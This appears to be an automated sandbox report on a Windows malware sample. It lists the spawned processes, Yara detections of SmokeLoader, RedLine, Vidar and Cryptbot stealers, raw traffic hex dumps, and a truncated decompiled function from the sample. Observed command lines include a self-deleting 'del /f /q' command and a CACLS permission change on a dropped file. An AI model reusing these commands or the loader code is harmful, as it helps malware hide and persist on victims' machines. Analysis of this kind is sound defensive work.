2021-12-01 08:15:23 UTC	4617	IN	Data Raw: c8 7d 24 ff c9 7d 24 ff c9 7d 24 ff c9 7d 25 ff ca 7e 25 ff ca 7e 25 ff ca 7e 25 ff ca 7e 25 ff ca 7e 25 ff ca 7e 25 ff c9 7d 25 ff c9 7d 24 ff c9 7d 24 ff c8 7d 24 ff c8 7d 24 ff c8 7c 24 ff c7 7c 23 ff c7 7c 23 ff c6 7b 23 ff c5 7b 22 ff c4 7a 22 ff c3 7a 22 ff c3 79 21 ff c2 79 21 ff c1 78 20 ff c0 78 20 ff bf 77 1f ff bf 76 1f ff be 76 1e ff bd 75 1e ff bc 74 1d ff bb 74 1d ff ba 73 1c ff b9 72 1b ff b8 72 1b ff b7 71 1a ff b6 70 1a ff b5 6f 19 ff b4 6f 18 ff b3 6e 18 ff b2 6d 17 ff b1 6c 16 ff af 6b 16 ff ae 6b 15 ff ad 6a 14 ff ac 69 14 ff ab 68 13 ff aa 67 13 ff a9 67 13 ff a7 66 12 ff a6 65 11 ff a5 64 11 ff a4 63 10 ff a3 62 0f ff a2 61 0f ff a0 61 0e ff ae 73 24 ff fd d7 a2 ff b5 7c 32 ff 9c 5d 0b ff 9a 5c 0a ff a3 67 18 24 00 00 00 00 00 00 00 Data Ascii: }$}$}$}%~%~%~%~%~%~%}%}$}$}$}$\|$\|#\|#{#{"z"z"y!y!x x wvvuttsrrqpoonmlkkjihggfedcbaas$\|2]\g$
2021-12-01 08:15:23 UTC	4633	IN	Data Raw: d7 a7 66 ff e2 b4 77 ff e7 ba 7e ff f3 c9 92 ff f3 c9 92 ff f3 c9 92 ff fd d7 a2 ff fc d5 a0 ff f3 c9 92 ff f3 c9 92 ff f1 c7 8f ff e7 ba 7e ff de b0 72 ff d5 a5 64 ff c9 95 51 ff bc 84 3b ff ac 71 23 ff 9c 5e 0b ff 9c 5d 0b ff 9c 5d 0b ff 9b 5d 0b ff 9b 5d 0b ff 9b 5d 0a ff 9a 5c 0a ff 9a 5c 0a eb 9a 5c 0a 9b a7 6c 1e 43 ac 72 25 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: fw~~rdQ;q#^]]]]]\\\lCr%
2021-12-01 08:15:23 UTC	4649	IN	Data Raw: a6 64 11 fe a7 65 12 ff a9 66 12 ff aa 68 13 fe ac 69 13 ff ad 6a 14 ff af 6b 15 fe b0 6c 16 ff b2 6d 17 ff b3 6e 18 fe b4 6f 18 ff b6 70 19 ff b7 71 1a fe b8 72 1b ff ba 73 1c ff bb 74 1c fe ff ff ff ff ff ff ff ff ff ff ff ff fe fe fe fe ff ff ff ff fe fe fe ff f1 e0 cc fe d0 96 50 ff c5 7b 23 ff c5 7b 22 fe c6 7b 23 ff c7 7c 23 ff c8 7c 23 fe c8 7c 24 ff c8 7d 24 ff c8 7c 24 fe c9 7d 24 ff c9 7d 24 ff c8 7d 24 fe c8 7d 24 ff c8 7d 24 ff c8 7c 23 fe c7 7c 23 ff c7 7b 23 ff c6 7b 23 fe c5 7b 22 ff c4 7a 22 fe c3 79 21 ff c2 79 21 ff c1 78 20 fe c0 77 1f ff bf 77 1f ff be 76 1e fe bd 75 1d ff bc 74 1d ff ba 73 1c fe b9 72 1b ff b8 71 1b ff b6 70 1a fe b5 6f 19 ff b4 6e 18 ff b2 6d 17 fe b1 6c 16 ff af 6b 16 ff ae 6a 15 fe ac 69 14 ff ab 68 13 ff a9 67 12 Data Ascii: defhijklmnopqrstP{#{"{#\|#\|#\|$}$\|$}$}$}$}$}$\|#\|#{#{#{"z"y!y!x wwvutsrqponmlkjihg
2021-12-01 08:15:23 UTC	4665	IN	Data Raw: a4 63 0f ff a2 62 0f ff a1 61 0e fe c6 91 4b ff f3 ca 92 ff a9 6d 1f fe 9b 5c 0a fb a4 68 19 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a4 68 19 4d 9a 5c 0a f9 a5 68 18 fe f5 cc 96 fe d0 9e 5a fe a0 60 0e fe a2 61 0e fe a3 63 0f fe a5 63 10 fe a6 65 11 fe a7 66 12 fe a9 66 12 fe aa 67 12 fe ab 68 13 fe ad 69 14 fe ae 6a 15 fe af 6b 15 fe b0 6c 16 fe b1 6d 17 fe b2 6e 17 fe b4 6e 18 fe b5 6f 19 fe b6 70 19 fe b7 70 1a fe b8 71 1a fe b8 72 1b fe b9 72 1b fe ba 73 1c fe bb 73 1c fe bb 74 1d fe bc 74 1d fe bc 75 1d fe bd 75 1e fe bd 75 1e fe be 76 1e fe be 76 1e fe be 76 1e Data Ascii: cbaKm\hLhM\hZ`acceffghijklmnnoppqrrssttuuuvvv
2021-12-01 08:15:23 UTC	4681	IN	Data Raw: a9 67 12 ff ab 68 13 ff ad 69 14 ff af 6b 15 ff b1 6c 16 ff b3 6e 17 ff b4 6f 19 ff b6 70 1a ff b8 72 1b ff ba 73 1c ff dd b9 8d ff ff ff ff ff ff ff ff ff ff ff ff ff fd fb f9 ff e2 bf 96 ff c6 81 2d ff c5 7b 22 ff c6 7b 23 ff c7 7c 23 ff c8 7c 23 ff c8 7c 24 ff c8 7c 24 ff c8 7d 24 ff c8 7c 24 ff c8 7c 24 ff c7 7c 23 ff c7 7c 23 ff c6 7b 23 ff c5 7a 22 ff c3 7a 21 ff c2 79 21 ff c1 78 20 ff c0 77 1f ff be 76 1e ff bd 75 1d ff bb 74 1d ff ba 73 1c ff b8 71 1b ff b6 70 19 ff b4 6f 18 ff b2 6d 17 ff b1 6c 16 ff af 6b 15 ff ad 69 14 ff ab 68 13 ff a8 66 12 ff a7 65 11 ff a4 63 10 ff a2 62 0f ff a0 60 0e ff 9e 5f 0c ff 9c 5d 0b ff 9a 5c 0a 9a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ghiklnoprs-{"{#\|#\|#\|$\|$}$\|$\|$\|#\|#{#z"z!y!x wvutsqpomlkihfecb`_]\
2021-12-01 08:15:23 UTC	4697	IN	Data Raw: 9e 5e 0c ff 9d 5e 0c ff 9d 5e 0b ff 9c 5d 0b ff 9c 5d 0b ff 9b 5e 0e fc 9d 6f 33 e5 a0 87 66 bc a3 9e 99 87 a4 a4 a4 7f a4 a4 a4 7f a4 a4 a4 7f a4 a4 a4 7d a4 a4 a4 73 a4 a4 a4 65 a4 a4 a4 60 a4 a4 a4 60 a4 a4 a4 5d a4 a4 a4 51 a4 a4 a4 46 a4 a4 a4 41 a4 a4 a4 37 a4 a4 a4 2d a4 a4 a4 24 a4 a4 a4 18 a4 a4 a4 0b a4 a4 a4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a4 a4 a4 01 a4 a4 a4 02 a4 a4 a4 04 a4 a4 a4 06 a4 a4 a4 07 a4 a4 a4 0a a4 a4 a4 0d a3 a3 a3 0e a3 a1 9e 0e a3 a0 9c 10 a3 9e 98 15 a3 9c 93 19 a1 90 7a 3f 9d 73 3b aa 9b 5d 0c f7 9c 5d 0b ff 9d 5e 0b ff 9e 5e 0c ff 9e 5f 0c ff 9f 5f 0d ff 9f 60 0d ff a0 60 0d ff a0 60 0d ff a0 61 0e ff a1 61 0e ff a1 61 0e ff a1 61 0e ff a0 61 0e Data Ascii: ^^^]]^o3f}se``]QFA7-$z?s;]]^^__```aaaaa
2021-12-01 08:15:23 UTC	4713	IN	Data Raw: 9f 60 0d ff 9f 5f 0d fe 9e 5f 0c fe 9e 5f 0c ff 9d 5e 0c fe 9c 5d 0b fe 9c 60 12 f8 9e 74 3d cb a1 8f 77 7d a3 a2 a1 47 a3 a3 a3 46 a4 a4 a4 3f a3 a3 a3 32 a3 a3 a3 2f a4 a4 a4 2e a3 a3 a3 25 a3 a3 a3 1d a4 a4 a4 18 a3 a3 a3 10 a3 a3 a3 0b a4 a4 a4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a3 a1 9e 01 a1 97 89 01 a0 8b 70 01 9e 7c 4e 28 9c 68 24 ac 9c 5d 0c fa 9d 5e 0c ff 9e 5f 0c fe 9f 60 0d fe a0 60 0e ff a1 61 0e fe a2 62 0e fe a2 62 0f ff a3 62 0f fe a3 62 0f fe a3 62 0f ff a2 62 0f fe a2 62 0f fe a1 61 0e ff a1 61 0e fe a0 60 0d fe 9f 5f 0c ff 9d 5e 0c fe 9c 5d 0b fd 9c 64 1b c2 9e 77 43 40 a0 88 69 02 a1 93 80 01 a2 9e 98 01 a3 a3 a3 01 00 00 00 Data Ascii: `___^]`t=w}GF?2/.%p\|N(h$]^_``abbbbbbbaa`_^]dwC@i
2021-12-01 08:15:23 UTC	4729	IN	Data Raw: 00 00 00 00 a7 6d 20 64 bf 88 40 f0 b9 7e 32 ff a7 66 13 ff a7 66 11 ff a7 65 11 ff a9 69 17 ff bd 84 3a ff be 87 3f d8 9c 62 16 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 77 49 0c 11 a7 6c 1f 6d be 88 40 b0 c0 8a 43 cc c0 8a 43 c8 bb 84 3c a2 a0 65 17 55 67 3f 0b 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 01 00 00 c0 07 00 00 80 03 00 00 80 01 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 01 00 00 c0 03 00 00 e0 07 00 00 f0 0f 00 00 00 00 01 00 09 00 00 00 00 00 00 00 00 00 28 20 04 00 01 00 80 80 00 00 00 00 00 00 28 08 01 00 02 00 60 60 00 00 00 00 00 00 a8 94 00 00 03 00 48 48 00 00 00 00 00 00 88 54 00 00 04 00 40 40 00 00 00 00 00 00 28 Data Ascii: m d@~2ffei:?b7wIlm@CC<eUg?( (``HHT@@(

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: v72n86vFFq.exe PID: 7056 Parent PID: 6036

General

Start time:	09:13:10
Start date:	01/12/2021
Path:	C:\Users\user\Desktop\v72n86vFFq.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\v72n86vFFq.exe"
Imagebase:	0x400000
File size:	336896 bytes
MD5 hash:	1A430B2CBF785427C87C48D29A1A8C0F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: v72n86vFFq.exe PID: 1440 Parent PID: 7056

General

Start time:	09:13:15
Start date:	01/12/2021
Path:	C:\Users\user\Desktop\v72n86vFFq.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\v72n86vFFq.exe"
Imagebase:	0x400000
File size:	336896 bytes
MD5 hash:	1A430B2CBF785427C87C48D29A1A8C0F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000002.736880382.0000000000540000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000002.737014881.0000000001F51000.00000004.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3424 Parent PID: 1440

General

Start time:	09:13:21
Start date:	01/12/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff6fee60000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000006.00000000.724058055.0000000004F41000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: hiftsuu PID: 796 Parent PID: 968

General

Start time:	09:13:54
Start date:	01/12/2021
Path:	C:\Users\user\AppData\Roaming\hiftsuu
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\hiftsuu
Imagebase:	0x400000
File size:	336896 bytes
MD5 hash:	1A430B2CBF785427C87C48D29A1A8C0F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: 12F1.exe PID: 6580 Parent PID: 3424

General

Start time:	09:13:57
Start date:	01/12/2021
Path:	C:\Users\user\AppData\Local\Temp\12F1.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\12F1.exe
Imagebase:	0xce0000
File size:	1285856 bytes
MD5 hash:	31F17AD58D02772DF14EFAC37D416CD7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000009.00000002.948865342.0000000000CE2000.00000040.00020000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 26%, Metadefender, Browse Detection: 57%, ReversingLabs
Reputation:	moderate

Chronological Activities

Analysis Process: 1EAA.exe PID: 5572 Parent PID: 3424

General

Start time:	09:14:00
Start date:	01/12/2021
Path:	C:\Users\user\AppData\Local\Temp\1EAA.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\1EAA.exe
Imagebase:	0xe80000
File size:	397824 bytes
MD5 hash:	5115E5DAB211559A85CD0154E8100F53
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: SUSP_Double_Base64_Encoded_Executable, Description: Detects an executable that has been encoded with base64 twice, Source: 0000000A.00000002.845557160.000000000434F000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000A.00000002.845557160.000000000434F000.00000004.00000001.sdmp, Author: Joe Security Rule: SUSP_Double_Base64_Encoded_Executable, Description: Detects an executable that has been encoded with base64 twice, Source: 0000000A.00000002.847931111.0000000004503000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000A.00000002.847931111.0000000004503000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 37%, Metadefender, Browse Detection: 79%, ReversingLabs
Reputation:	moderate

Chronological Activities

Analysis Process: conhost.exe PID: 6920 Parent PID: 5572

General

Start time:	09:14:01
Start date:	01/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: hiftsuu PID: 6896 Parent PID: 796

General

Start time:	09:14:02
Start date:	01/12/2021
Path:	C:\Users\user\AppData\Roaming\hiftsuu
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\hiftsuu
Imagebase:	0x7ff79e7d0000
File size:	336896 bytes
MD5 hash:	1A430B2CBF785427C87C48D29A1A8C0F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000C.00000002.814172336.0000000000580000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000C.00000002.815844712.0000000002091000.00000004.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: 361B.exe PID: 6612 Parent PID: 3424

General

Start time:	09:14:06
Start date:	01/12/2021
Path:	C:\Users\user\AppData\Local\Temp\361B.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\361B.exe
Imagebase:	0x400000
File size:	163328 bytes
MD5 hash:	DF13FAC0D8B182E4D8B9A02BA87A9571
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 29%, Metadefender, Browse Detection: 51%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: 1EAA.exe PID: 6700 Parent PID: 5572

General

Start time:	09:14:08
Start date:	01/12/2021
Path:	C:\Users\user\AppData\Local\Temp\1EAA.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\1EAA.exe
Imagebase:	0x410000
File size:	397824 bytes
MD5 hash:	5115E5DAB211559A85CD0154E8100F53
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: 44A2.exe PID: 6852 Parent PID: 3424

General

Start time:	09:14:10
Start date:	01/12/2021
Path:	C:\Users\user\AppData\Local\Temp\44A2.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\44A2.exe
Imagebase:	0x400000
File size:	351744 bytes
MD5 hash:	45D0A6BB2CA00643FB04BF15D4AAA2C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000002.854851899.0000000000555000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000011.00000002.854851899.0000000000555000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: WerFault.exe PID: 7140 Parent PID: 6612

General

Start time:	09:14:12
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6612 -s 520
Imagebase:	0xdb0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: 1EAA.exe PID: 2740 Parent PID: 5572

General

Start time:	09:14:13
Start date:	01/12/2021
Path:	C:\Users\user\AppData\Local\Temp\1EAA.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\1EAA.exe
Imagebase:	0x4c0000
File size:	397824 bytes
MD5 hash:	5115E5DAB211559A85CD0154E8100F53
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000014.00000000.830171711.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000014.00000000.820409193.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000014.00000000.829040256.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000014.00000002.938711812.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000014.00000000.832066411.0000000000402000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	moderate

Chronological Activities

Analysis Process: 51B3.exe PID: 1368 Parent PID: 3424

General

Start time:	09:14:14
Start date:	01/12/2021
Path:	C:\Users\user\AppData\Local\Temp\51B3.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\51B3.exe
Imagebase:	0x400000
File size:	336896 bytes
MD5 hash:	D2331EDF10B3C0E6A5C8FEC0A1A6392E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: 305.exe PID: 1380 Parent PID: 3424

General

Start time:	09:14:21
Start date:	01/12/2021
Path:	C:\Users\user\AppData\Local\Temp\305.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\305.exe
Imagebase:	0x1290000
File size:	2740224 bytes
MD5 hash:	CA16CA4AA9CF9777274447C9F4BA222E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000002.947756314.00000000012C5000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Cryptbot, Description: Yara detected Cryptbot, Source: 00000016.00000002.947756314.00000000012C5000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.835817824.00000000009D0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Cryptbot, Description: Yara detected Cryptbot, Source: 00000016.00000003.835817824.00000000009D0000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 43%, Metadefender, Browse Detection: 86%, ReversingLabs
Reputation:	moderate

Chronological Activities

Analysis Process: 51B3.exe PID: 5820 Parent PID: 1368

General

Start time:	09:14:23
Start date:	01/12/2021
Path:	C:\Users\user\AppData\Local\Temp\51B3.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\51B3.exe
Imagebase:	0x400000
File size:	336896 bytes
MD5 hash:	D2331EDF10B3C0E6A5C8FEC0A1A6392E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000017.00000002.854879480.0000000002051000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000017.00000002.853177748.0000000000540000.00000004.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: 2340.exe PID: 6508 Parent PID: 3424

General

Start time:	09:14:29
Start date:	01/12/2021
Path:	C:\Users\user\AppData\Local\Temp\2340.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\2340.exe
Imagebase:	0x270000
File size:	1143000 bytes
MD5 hash:	97617914D6E8A6E3CBEE8A5E5FF39AA5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 27%, ReversingLabs

Chronological Activities

Analysis Process: cmd.exe PID: 2892 Parent PID: 6852

General

Start time:	09:14:34
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\44A2.exe" & exit
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 5624 Parent PID: 2892

General

Start time:	09:14:34
Start date:	01/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: timeout.exe PID: 5588 Parent PID: 2892

General

Start time:	09:14:35
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 5
Imagebase:	0xa60000
File size:	26112 bytes
MD5 hash:	121A4EDAE60A7AF6F5DFA82F7BB95659
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 2340.exe PID: 2812 Parent PID: 6508

General

Start time:	09:14:48
Start date:	01/12/2021
Path:	C:\Users\user\AppData\Local\Temp\2340.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\2340.exe
Imagebase:	0xdb0000
File size:	1143000 bytes
MD5 hash:	97617914D6E8A6E3CBEE8A5E5FF39AA5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 4432 Parent PID: 2812

General

Start time:	09:15:12
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\cmd.exe" /c echo Y\|CACLS "C:\Users\user\AppData\Local\Temp\6829558ede\tkools.exe" /P "user:N
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: v72n86vFFq.exe PID: 7056 Parent PID: 6036 v72n86vFFq.exeCOMMON

Executed Functions

Function 004342F0, Relevance: 293.0, APIs: 146, Strings: 21, Instructions: 719
filememorystringCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E004342F0(void* __ecx, long _a4, long _a8, long _a12, long _a16, int _a20, struct _SMALL_RECT _a28, struct _CONSOLE_CURSOR_INFO _a32, struct _DCB _a44, struct _COMM_CONFIG _a52, char _a56, intOrPtr _a64, struct _CRITICAL_SECTION _a84, struct _COMM_CONFIG _a92, char _a96, struct _COMM_CONFIG _a128, char _a132, struct _MEMORYSTATUS _a144, void _a200, struct _CRITICAL_SECTION _a208, char _a224, struct _CONTEXT _a288, struct _WIN32_FIND_DATAW _a308, struct _WIN32_FIND_DATAA _a320, char _a1312, char _a1336, char _a1344, char _a2284, char _a2364, char _a3320, short _a3360, short _a3392, void _a5372, void _a6392, char _a7472, short _a7476, void _a9464, short _a10488, short _a10548) {
				long _v0;
				struct _CHAR_INFO _v4;
				long _v8;
				intOrPtr _v12;
				long _v16;
				short _v20;
				long _v24;
				void* _v32;
				long _v40;
				intOrPtr _v48;
				long _v56;
				void _v64;
				char _v68;
				long _v92;
				intOrPtr _v100;
				void* __esi;
				intOrPtr _t91;
				struct _CHAR_INFO _t96;
				intOrPtr _t98;
				struct _CHAR_INFO _t206;
				void* _t251;
				intOrPtr* _t307;
				void* _t308;
				void* _t310;
				void* _t312;
				signed int _t315;
				signed int _t316;

				_t251 = __ecx;
				_t316 = _t315 & 0xfffffff8;
				E00424EB0(0x3144);
				if( *0x4c8abc == 0x177 && lstrlenW(0x4c80b8) == 0x204) {
					if( *0x4c8abc == 0xf76) {
						BackupWrite(0, 0, 0,  &_a8, 0, 0, 0);
					}
					_push(0);
					_push(0);
					E00418DD0(_t251, 0x44c670, 0);
					E00418E00(_t251, 0);
					E00419200(_t251, 0);
					E004336C0(0, 0);
					E00418C80(_t251, 0, 0);
					E00418C20(_t251);
					E00419020(0);
					_t316 = _t316 + 0x2c;
					E004190C0(_t251);
				}
				_t307 = __imp__QueueUserWorkItem;
				_v4 = 0;
				L6:
				L6:
				if( *0x4c8abc == 0x123f) {
					GetBinaryTypeW(0,  &_a8);
					SetCurrentDirectoryW(0);
					LeaveCriticalSection( &_a208);
					QueryDosDeviceA(0,  &_a320, 0);
					__imp__TerminateJobObject(0, 0);
					__imp__EnumDateFormatsExA(0, 0, 0);
					GlobalAddAtomW(0);
					__imp__CreateJobSet(0, 0, 0);
					WriteProfileStringW(0, 0, 0);
					GetFullPathNameA(0, 0,  &_a1312, 0);
					VirtualAlloc(0, 0, 0, 0);
					GetCompressedFileSizeW(0,  &_a12);
					_v32 = 0;
					WriteConsoleOutputAttribute(0, 0, 0, 0,  &_a16);
					SetNamedPipeHandleState(0,  &_v20,  &_v0,  &_a4);
					lstrcpynW( &_a3360, 0, 0);
					GetFileAttributesA(0);
					FatalAppExitW(0, 0);
					GetCurrentProcess();
					IsBadWritePtr(0, 0);
					SetUnhandledExceptionFilter(0);
					 *_t307(0, 0, 0);
					__imp__GetProcessHandleCount(0, 0);
					 *_t307(0, 0, 0);
					EnumResourceNamesW(0, 0, 0, 0);
					__imp__DeleteTimerQueueTimer(0, 0, 0);
					SetFileApisToANSI();
					FindResourceA(0, 0, 0);
					__imp__AllocateUserPhysicalPages(0,  &_v68,  &_v56);
					_t256 =  &_v92;
					GetBinaryTypeA(0,  &_v92);
